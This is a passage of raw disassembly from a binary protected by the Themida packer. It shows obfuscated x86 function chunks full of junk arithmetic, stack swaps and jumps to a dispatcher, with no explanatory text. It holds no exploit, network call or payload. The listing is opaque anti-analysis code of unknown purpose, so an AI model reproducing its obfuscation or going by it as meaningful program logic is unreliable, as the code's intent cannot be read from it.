--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_558F58: ; CODE XREF: sub_556A70+309j mov ebx, 592806C2h jmp loc_552404 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_558F62: ; CODE XREF: Themida_:00551D62j add eax, ecx jmp loc_551130 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5526D6 loc_558F69: ; CODE XREF: sub_5526D6+A1E1j or ebp, 6EC7760h dec ebp push eax mov eax, 86EE7F5Dh sub ebp, eax pop eax add eax, 124338F4h add eax, ebp jmp loc_552A29 ; END OF FUNCTION CHUNK FOR sub_5526D6 ; --------------------------------------------------------------------------- loc_558F85: ; CODE XREF: Themida_:00550CEFj add esp, 4 jmp loc_55ABFD ; --------------------------------------------------------------------------- loc_558F90: ; CODE XREF: Themida_:00555ED8j pop ebx sub eax, 4 xchg eax, [esp] pop esp mov [esp], edi mov edi, esp add edi, 4 push ebp mov ebp, 0E9A2E80h sub ebp, 0E9A2E7Eh jmp loc_557804 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_558FB4: ; CODE XREF: sub_556A70+4DB6j sub edx, 19DB11CEh jmp loc_55914B ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_558FBF: ; CODE XREF: Themida_:0055129Cj push edi push esp pop edi push ecx mov ecx, 5F3C3D60h push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_5510F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_558FE0: ; CODE XREF: sub_556A70-3424j pop edx xor [esp-8+arg_8], eax jmp loc_55A2C1 ; --------------------------------------------------------------------------- loc_558FEA: ; CODE XREF: sub_556A70+2CCFj push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_55C1C8 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_551B42 loc_558FFB: ; CODE XREF: sub_551B42+3972j mov edi, 70AB7854h xor edx, edi pop edi push ebp push edi mov edi, 3C4742Ah mov ebp, edi pop edi sub edx, 1E4B1B91h sub edx, ebp add edx, 1E4B1B91h mov ebp, [esp-8+arg_4] jmp loc_55297C ; END OF FUNCTION CHUNK FOR sub_551B42 ; --------------------------------------------------------------------------- loc_559023: ; CODE XREF: Themida_:00551048j push 2222h mov [esp], ebp push esp pop ebp sub esp, 4 mov [esp], esi mov esi, 4 jmp loc_55B83B ; --------------------------------------------------------------------------- movzx ax, byte ptr [edx] push small 52F2h mov [esp], ax jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_559051: ; CODE XREF: sub_556A70+489j add esp, 4 push eax mov eax, 4 add ecx, eax jmp loc_55760D ; --------------------------------------------------------------------------- loc_559064: ; CODE XREF: sub_556A70+2D77j add ebp, 4 xor ebp, [esp+0] jmp loc_556299 ; --------------------------------------------------------------------------- loc_559072: ; CODE XREF: sub_556A70-1E79j push edx mov edx, esp add edx, 4 push eax mov eax, 21FC43F1h jmp loc_55B257 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- movzx ax, byte ptr fs:[edx] push small 6BCDh mov [esp], ax jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_559098: ; CODE XREF: sub_556A70-1F69j add esp, 4 add edi, 4 xor edi, [esp+0] xor [esp+0], edi xor edi, [esp+0] mov esp, [esp+0] jmp loc_554E6D ; --------------------------------------------------------------------------- loc_5590B5: ; CODE XREF: sub_556A70+575Ej jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5590BA: ; CODE XREF: Themida_:0055CB71j mov edi, [esp] add esp, 4 pop eax loc_5590C4: ; CODE XREF: Themida_:00553527j push eax push 7422h mov [esp], esi mov esi, 281979AEh jmp loc_553770 ; --------------------------------------------------------------------------- loc_5590D7: ; CODE XREF: Themida_:00552EBBj push esp pop edi push esi mov esi, 4 add edi, esi pop esi sub edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_5559AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5590F6: ; CODE XREF: sub_556A70+47E2j mov [esp+0], ecx push edx mov edx, 0FFFFFFFFh push edx jmp loc_553E9B ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_559105: ; CODE XREF: Themida_:0055C0EFj pop esp push 39EBh jmp loc_55965B ; --------------------------------------------------------------------------- loc_559110: ; CODE XREF: Themida_:00555339j mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebx jmp loc_55247B ; --------------------------------------------------------------------------- loc_559126: ; CODE XREF: Themida_:00551E25j add eax, ecx pop ecx add eax, 7B55724Ah sub eax, 77389DF5h and ebx, eax pop eax jmp loc_553CCA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5539DB loc_55913B: ; CODE XREF: sub_5539DB+808Fj mov [esp+4+var_4], ebx xor [esp+4+var_4], 2D3A488Eh pop eax jmp loc_55A719 ; END OF FUNCTION CHUNK FOR sub_5539DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55914B: ; CODE XREF: sub_556A70+254Aj sub edx, 35F71F73h sub edx, 3C403F75h sub esp, 4 mov [esp+12h+var_14+2], ebx jmp loc_554B1F ; --------------------------------------------------------------------------- loc_559165: ; CODE XREF: sub_556A70+313j push ecx mov ecx, esp push esi mov esi, 4 add ecx, esi pop esi add ecx, 4 jmp loc_55A678 ; --------------------------------------------------------------------------- loc_559179: ; CODE XREF: sub_556A70-5B5Cj xor edx, 6E9524CEh jmp loc_559A24 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55C746 loc_559184: ; CODE XREF: sub_55C746-488j mov [esp+8+var_8], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+8+var_8] mov esp, [esp+8+var_8] mov edx, [esp-4+arg_0] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+0] pop esp push edi mov edi, esp add edi, 4 jmp loc_557944 ; END OF FUNCTION CHUNK FOR sub_55C746 ; --------------------------------------------------------------------------- loc_5591BC: ; CODE XREF: Themida_:00552370j sub eax, edi pop edi and esi, eax jmp loc_555D41 ; --------------------------------------------------------------------------- loc_5591C6: ; CODE XREF: Themida_:0055168Fj push eax jmp loc_553471 ; --------------------------------------------------------------------------- loc_5591CC: ; CODE XREF: Themida_:005589A1j pop ebx sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_55835D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_5591E0: ; CODE XREF: sub_5584F8-695Ej xchg ebx, [esp+0] pop esp mov [esp-4+arg_0], ebx push 5DB7h mov [esp+0], edx push ebp jmp loc_55A92B ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- loc_5591F5: ; CODE XREF: Themida_:0055CAE0j pop ebx add esi, 485A043Ah add esi, edi sub esi, 485A043Ah mov edi, [esp] add esp, 4 pop ebx jmp loc_551944 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_559213: ; CODE XREF: sub_5584F8+4A6Ej add esp, 4 jmp loc_55685D ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- loc_55921B: ; CODE XREF: Themida_:00550EA9j add al, bl sub esp, 4 mov [esp], ebx push ecx push 5B4Ah mov [esp], edx mov dh, 3Ch mov ch, dh jmp loc_556D1F ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_559240: ; CODE XREF: sub_556A70-8F3j pop esp or eax, eax jz loc_55297F push dword ptr [edi+28h] jmp loc_555E1B ; --------------------------------------------------------------------------- loc_559251: ; CODE XREF: sub_556A70-32B6j xchg esi, [esp+4+var_4] pop esp jmp loc_55B2DF ; --------------------------------------------------------------------------- loc_55925A: ; CODE XREF: sub_556A70+20A4j pop [esp-10h+arg_C] mov esp, [esp-14h+arg_10] rol byte ptr [esp-14h+arg_10], cl pushf jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_559269: ; CODE XREF: Themida_:0055B6D3j mov cl, bl mov ebx, [esp] jmp loc_555E98 ; --------------------------------------------------------------------------- loc_559273: ; CODE XREF: Themida_:00555BCEj add ecx, ebx add ecx, 44AA27B5h pop ebx jmp loc_554791 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_559281: ; CODE XREF: sub_556A70-B90j sub al, 6Eh pop dx push small 2CF5h mov word ptr [esp-10h+arg_C], bx push 2257h jmp loc_55427B ; --------------------------------------------------------------------------- loc_559297: ; CODE XREF: sub_556A70-3A65j or edx, 458152A9h shl edx, 2 sub edx, 8812F212h add eax, edx pop edx mov ecx, [esp+0] push ecx push esp jmp loc_558231 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5592B3: ; CODE XREF: Themida_:00559612j and eax, 4EF84D38h add eax, 3561797Bh add eax, 88068669h add ecx, eax pop eax push 6837h mov [esp], esi mov esi, 2 add ecx, esi jmp loc_555FBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5592D9: ; CODE XREF: sub_556A70+BF4j add esp, 4 add ebx, 0FFFBDEA3h add ecx, ebx jmp loc_55C694 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5592EC: ; CODE XREF: Themida_:005522E0j mov [esp], ecx push ebx mov ebx, 2C23386Fh push ebx mov ebx, 22010B48h push edi jmp loc_553162 ; --------------------------------------------------------------------------- loc_559301: ; CODE XREF: Themida_:00558EC8j mov [esp], eax push ebp push ebx push 7CB470D2h jmp loc_554F76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_559310: ; CODE XREF: sub_556A70+914j sub al, 23h pop edx add al, bl push edx mov dl, 0CAh add al, dl pop edx push edx mov edx, esp push esi mov esi, 4 add edx, esi pop esi sub edx, 4 xchg edx, [esp+0] jmp loc_551523 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55A748 loc_559335: ; CODE XREF: sub_55A748-793Ej mov bh, 0B2h xor bh, ah pop eax push eax push edx mov dl, bh mov ah, dl pop edx mov dl, ah push [esp+0Ch+var_C] jmp loc_559BE9 ; END OF FUNCTION CHUNK FOR sub_55A748 ; --------------------------------------------------------------------------- loc_55934B: ; CODE XREF: Themida_:005535DBj mov ebx, 44702857h neg ebx push ebx inc dword ptr [esp] pop ebx xor ebx, 203E560Ch push eax mov eax, 3937762Dh and ebx, eax jmp loc_55A89B ; --------------------------------------------------------------------------- loc_55936A: ; CODE XREF: Themida_:005542AFj mov ebp, esp add ebp, 4 push ebx jmp loc_55396D ; --------------------------------------------------------------------------- loc_559378: ; CODE XREF: Themida_:00558C81j xchg edx, [esp] pop esp mov [esp], edi jmp loc_5587E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552B74 loc_559384: ; CODE XREF: sub_552B74-7EDj add edi, esi jmp loc_5559CD ; END OF FUNCTION CHUNK FOR sub_552B74 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55938B: ; CODE XREF: sub_556A70-13D5j mov esi, esp add esi, 4 jmp loc_5537B7 ; --------------------------------------------------------------------------- loc_559398: ; CODE XREF: sub_556A70-2385j mov eax, 12731B4Eh add eax, 39813317h neg eax xor eax, 35915408h sub eax, 0FFFFFFFFh xor eax, 819AE595h add edx, eax pop eax inc edx xor edx, 79504380h add esi, 65D92D42h add esi, edx sub esi, 65D92D42h pop edx jmp sub_551B42 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5593D1: ; CODE XREF: Themida_:00558517j mov [esp], ecx push 6F376C6Dh pop ecx jmp loc_55C8A9 ; --------------------------------------------------------------------------- loc_5593DF: ; CODE XREF: Themida_:00558D96j sub al, 0ACh push edx mov dh, 0DBh jmp loc_557DAA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5593E9: ; CODE XREF: sub_556A70+A39j push edi jmp loc_55302B ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5593EF: ; CODE XREF: Themida_:0055C52Ej mov al, bh pop bx not dl xchg dl, al push 0 sub byte ptr [esp], 0F2h sub [esp], al add byte ptr [esp], 0F2h mov al, [esp] add esp, 4 add al, 0ABh jmp loc_55AAA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553B16 loc_559414: ; CODE XREF: sub_553B16-B55j add edx, 7A523F2Ch push eax mov eax, 1 add edx, eax jmp loc_5527FB ; END OF FUNCTION CHUNK FOR sub_553B16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_550BFD loc_559427: ; CODE XREF: sub_550BFD+5688j add edx, ebx pop ebx push ecx mov ecx, 3ABC277Bh push ebx mov ebx, 49E421A6h sub ecx, ebx pop ebx jmp loc_5598EC ; END OF FUNCTION CHUNK FOR sub_550BFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55943E: ; CODE XREF: sub_556A70-1CC9j add al, 9 sub al, ch jmp loc_5511A5 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_559447: ; CODE XREF: Themida_:0055A379j add edx, edi pop edi push ebp mov ebp, 2 add edx, ebp pop ebp jmp loc_551B2F ; --------------------------------------------------------------------------- loc_559458: ; CODE XREF: Themida_:00556734j add esi, 4 xchg esi, [esp] pop esp xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] shl word ptr [esp], cl pushf jmp loc_550A46 ; --------------------------------------------------------------------------- loc_559478: ; CODE XREF: Themida_:00553501j add edi, 4 jmp loc_5553AB ; --------------------------------------------------------------------------- loc_559483: ; CODE XREF: Themida_:00555EADj xor dl, 0FBh mov bl, dl pop edx sub bl, 7Dh jmp loc_55198C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_559491: ; CODE XREF: sub_556A70+928j mov bh, 92h sub esp, 4 mov [esp+8+var_8], edx mov dl, bh mov ah, dl pop edx pop ebx and ah, 2Eh jmp loc_55C75D ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5553D0 loc_5594A7: ; CODE XREF: sub_5553D0-4845j mov ah, 0F5h not ah neg ah xor ah, 91h jmp loc_559508 ; END OF FUNCTION CHUNK FOR sub_5553D0 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push 433Ch jmp loc_556606 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5594C2: ; CODE XREF: sub_556A70-56Fj push eax mov eax, 7D060D0Ah jmp loc_55A352 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5594CD: ; CODE XREF: Themida_:00551050j add esp, 4 jmp loc_5513A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5594D5: ; CODE XREF: sub_556A70+1A75j mov ah, 0C2h sub dl, ah jmp loc_55C929 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553A74 loc_5594DE: ; CODE XREF: sub_553A74-6EAj add ecx, eax push edx mov edx, 3875035Eh shr edx, 3 neg edx neg edx sub edx, 0B3F36CB2h sub ecx, edx pop edx pop eax push ecx push [esp-4+arg_4] pop ecx pop [esp-4+arg_0] mov esp, [esp-8+arg_4] jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_553A74 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5553D0 loc_559508: ; CODE XREF: sub_5553D0+40E0j add bl, ah pop eax jmp loc_553637 ; END OF FUNCTION CHUNK FOR sub_5553D0 ; --------------------------------------------------------------------------- loc_559510: ; CODE XREF: Themida_:00552184j xor ebx, [esp] jmp loc_55B0E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_551E74 loc_559518: ; CODE XREF: sub_551E74+A7ADj push ecx jmp loc_55B409 ; END OF FUNCTION CHUNK FOR sub_551E74 ; --------------------------------------------------------------------------- loc_55951E: ; CODE XREF: Themida_:00557F9Bj jmp loc_550A46 ; --------------------------------------------------------------------------- loc_559523: ; CODE XREF: Themida_:005565D8j sub ebx, 128D1C07h mov esi, ebx pop ebx add ecx, esi pop esi jmp loc_55347B ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 sub esp, 4 mov [esp], edx jmp loc_550B34 ; --------------------------------------------------------------------------- mov cx, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_558106 ; --------------------------------------------------------------------------- loc_55955E: ; CODE XREF: Themida_:00553CDEj xchg ebp, [esp] jmp loc_555799 ; --------------------------------------------------------------------------- loc_559566: ; CODE XREF: Themida_:00554243j xor [esp], esi jmp loc_5558F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55956E: ; CODE XREF: sub_556A70+325j push dword ptr [esp+0] pop ecx add esp, 4 sub ebx, 4 xchg ebx, [esp-4+arg_0] pop esp mov [esp-8+arg_4], ebx mov ebx, 200h or [edi+1Ch], ebx push [esp-8+arg_4] jmp loc_55A69A ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- mov ax, [esp] push eax push esp pop eax push edi push esi mov esi, 57865B5h mov edi, esi pop esi push ebx mov ebx, 68E72D2Ch jmp loc_555451 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5595AE: ; CODE XREF: sub_556A70+3E17j add ebx, edi sub ebx, 31921E65h pop edi jmp loc_55B380 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5595BC: ; CODE XREF: Themida_:00553B98j mov esi, 428B28C1h inc esi neg esi not esi add esi, 0BD74D743h mov ebp, esi pop esi add edi, ebp pop ebp push eax mov eax, 4FCD5ADDh shr eax, 7 push edi mov edi, 65081A69h xor edi, 441A645Ch jmp loc_551694 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5595EC: ; CODE XREF: sub_556A70-53A3j mov edx, 4 add eax, edx pop edx xor eax, [esp+4+var_4] xor [esp+4+var_4], eax xor eax, [esp+4+var_4] jmp loc_551F6E ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5566B9 loc_559602: ; CODE XREF: sub_5566B9+6351j add esp, 4 push ebx push esp mov ebx, [esp+10h+var_10] jmp loc_552D9B ; END OF FUNCTION CHUNK FOR sub_5566B9 ; --------------------------------------------------------------------------- loc_55960F: ; CODE XREF: Themida_:00558358j add eax, esi pop esi jmp loc_5592B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_559617: ; CODE XREF: sub_556A70+639j shl dl, 4 not dl or dl, 0CFh push ebx mov bh, 0Bh add dl, bh jmp loc_559A04 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_559629: ; CODE XREF: Themida_:0055BCF7j pop eax sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx mov ebx, 2C40142Eh push eax mov eax, 0 sub eax, ebx xchg eax, ebx pop eax neg ebx shr ebx, 3 jmp loc_553B6B ; --------------------------------------------------------------------------- loc_55965B: ; CODE XREF: Themida_:0055910Bj mov [esp], ebx push esp pop ebx add ebx, 4 add ebx, 4 jmp loc_55CA6B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_559671: ; CODE XREF: sub_556A70-378Fj add esp, 4 add ax, dx pop dx push ax mov ax, 4EACh sub bx, ax pop ax push ebp push small 0FBFh pop bp and bp, 32D5h add bp, 29C7h shl bp, 8 push ecx mov cx, 6E39h dec cx sub cx, 621Ch sub bp, cx pop ecx jmp loc_5522A7 ; --------------------------------------------------------------------------- loc_5596AE: ; CODE XREF: sub_556A70-2E18j sub eax, edi sub eax, 377C59CAh pop edi jmp loc_554BB1 ; --------------------------------------------------------------------------- loc_5596BB: ; CODE XREF: sub_556A70+8DEj add edi, 4 push edi push dword ptr [esp+4] mov edi, [esp+8+var_8] add esp, 4 pop [esp+4+var_4] jmp loc_5530B7 ; --------------------------------------------------------------------------- loc_5596D7: ; CODE XREF: sub_556A70-287Ej mov ecx, ebx pop ebx push esi mov esi, 1E9A18E7h and ecx, esi jmp loc_55622C ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_5596E7: ; CODE XREF: sub_5584F8+2F67j mov [esp+0], edi jmp loc_55993B ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- loc_5596EF: ; CODE XREF: Themida_:00555B02j jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5596F4: ; CODE XREF: sub_556A70-46C9j add ecx, 4 xchg ecx, [esp-8+arg_4] jmp loc_559F14 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552E24 loc_5596FF: ; CODE XREF: sub_552E24+242Cj pop ebx sub esp, 4 mov [esp+8+var_8], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+8+var_8] jmp loc_556572 ; END OF FUNCTION CHUNK FOR sub_552E24 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_559719: ; CODE XREF: sub_556A70-3DB7j mov [esp+0], ebx push 0F194CF1h pop ebx sub eax, ebx jmp loc_554417 ; --------------------------------------------------------------------------- loc_559729: ; CODE XREF: sub_556A70-1B8Ej mov esi, 0DA110AEh sub eax, esi pop esi jmp loc_55C65A ; --------------------------------------------------------------------------- loc_559736: ; CODE XREF: sub_556A70-218j push [esp+14h+var_14] mov ecx, [esp+18h+var_18] add esp, 4 jmp loc_558FEA ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_559744: ; CODE XREF: Themida_:005598A6j pop eax mov eax, [esp] jmp loc_55C94B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_555B85 loc_55974D: ; CODE XREF: sub_555B85-1F3Ej mov edi, [esp+8+var_8] add esp, 4 add ebx, ecx pop ecx jmp loc_55B4E2 ; END OF FUNCTION CHUNK FOR sub_555B85 ; --------------------------------------------------------------------------- mov cx, [esp] push edx push 46BEh jmp loc_557EA7 ; --------------------------------------------------------------------------- loc_55976A: ; CODE XREF: Themida_:00554F06j pop dword ptr [esp] mov esp, [esp] bts [esp], ax pushf jmp loc_554D33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55977B: ; CODE XREF: sub_556A70+6424j mov ecx, [esp+14h+var_14] add esp, 4 xchg esi, [esp+10h+var_10] jmp loc_555449 ; --------------------------------------------------------------------------- loc_559789: ; CODE XREF: sub_556A70-4AFFj push 54B4h mov [esp-8+arg_4], ebx push ebp jmp loc_552647 ; --------------------------------------------------------------------------- loc_559797: ; CODE XREF: sub_556A70-281Cj push esi jmp loc_55B81B ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55979D: ; CODE XREF: Themida_:00557F7Bj inc ebx sub ebx, 0E6CED60Ah mov eax, ebx pop ebx dec eax jmp loc_551C2E ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax adc [esp], eax pushf jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5597BB: ; CODE XREF: sub_556A70-4300j add edx, eax jmp loc_5537BF ; --------------------------------------------------------------------------- loc_5597C2: ; CODE XREF: sub_556A70-44CFj pop edx add edi, 4 xchg edi, [esp-0Ch+arg_8] pop esp cmp ecx, eax pushf jmp loc_550A46 ; --------------------------------------------------------------------------- loc_5597D2: ; CODE XREF: sub_556A70-1D70j mov edi, 3F584D13h sub [esp-0Ch+arg_C], edi mov edi, [esp-0Ch+arg_8] push ebp mov ebp, esp add ebp, 4 jmp loc_559064 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- lodsb jmp loc_559E62 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], ax pushf jmp loc_553331 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553B60 loc_559802: ; CODE XREF: sub_553B60+6j push ecx mov ch, 42h jmp sub_5521AC ; END OF FUNCTION CHUNK FOR sub_553B60 ; --------------------------------------------------------------------------- loc_55980A: ; CODE XREF: Themida_:0055846Aj sub ebp, 386439F4h add ebp, 0C7D8E252h jmp loc_55214A ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp], cl pushf jmp loc_550A46 ; --------------------------------------------------------------------------- loc_55982A: ; CODE XREF: Themida_:0055A807j add edx, 1B7975C1h push dword ptr [esp] jmp loc_558440 ; --------------------------------------------------------------------------- push 1886h mov [esp], edx jmp loc_55A5A7 ; --------------------------------------------------------------------------- loc_559845: ; CODE XREF: Themida_:0055128Bj jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55AE6E loc_55984A: ; CODE XREF: sub_55AE6E-64CDj xor al, 5Fh and dl, al jmp loc_55CAE5 ; END OF FUNCTION CHUNK FOR sub_55AE6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_559853: ; CODE XREF: sub_556A70+1602j xor edx, 254369C1h shl edx, 5 sub edx, 74403AB5h jmp loc_553641 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_550D47 ; --------------------------------------------------------------------------- loc_55986F: ; CODE XREF: Themida_:0055B5CCj add edx, ebx pop ebx push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] jmp loc_55C7D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_559883: ; CODE XREF: sub_556A70-3F4Cj xor si, 1BACh or si, 6B86h push edi mov di, 71A5h jmp loc_55CF17 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_559897: ; CODE XREF: Themida_:00555524j mov eax, ecx mov ecx, [esp] add esp, 4 xor [esp+4], eax jmp loc_559744 ; --------------------------------------------------------------------------- loc_5598AB: ; CODE XREF: Themida_:0055A7E1j push 6E16h mov [esp], edi push ebp push 3ABC5DCAh pop ebp inc ebp push edi mov edi, 0 sub edi, ebp xchg edi, ebp jmp loc_55A170 ; --------------------------------------------------------------------------- loc_5598CA: ; CODE XREF: Themida_:00553C1Aj add edi, 0FFFFFFFFh add edi, 0A63FCCFCh add ebx, 8F38D8h add ebx, edi push ecx mov ecx, 8F38D8h sub ebx, ecx pop ecx jmp loc_55AEE8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_550BFD loc_5598EC: ; CODE XREF: sub_550BFD+883Cj add ecx, 4D581D4Ch add ecx, 25E436F4h and ecx, 3B33249Eh not ecx xor ecx, 918DDDFDh sub edx, 3A5F6E02h add edx, 1B6A2980h add edx, 51DE1E2Ah jmp loc_55528B ; END OF FUNCTION CHUNK FOR sub_550BFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55A6CD loc_55991D: ; CODE XREF: sub_55A6CD-270Cj pop ebp jmp loc_55CDD7 ; END OF FUNCTION CHUNK FOR sub_55A6CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553D17 loc_559923: ; CODE XREF: sub_553D17+29C4j mov ch, 68h mov bl, ch mov ecx, [esp+0] add esp, 4 add bl, al pop eax jmp loc_559BDE ; END OF FUNCTION CHUNK FOR sub_553D17 ; --------------------------------------------------------------------------- loc_559935: ; CODE XREF: Themida_:00551C24j push ebp jmp loc_55761D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_55993B: ; CODE XREF: sub_5584F8+11F2j push [esp+arg_0] jmp loc_558789 ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_559944: ; CODE XREF: sub_556A70+5002j xor ecx, [esp+0] pop esp push ebx push edx mov edx, 3A5A29B0h push edi jmp loc_55CA1A ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_559955: ; CODE XREF: Themida_:00558D90j add esi, 55424A21h pop ecx add esi, 4 xchg esi, [esp] mov esp, [esp] push ebx push esp jmp loc_556F35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55996C: ; CODE XREF: sub_556A70+E39j add ecx, ebp pop ebp xor 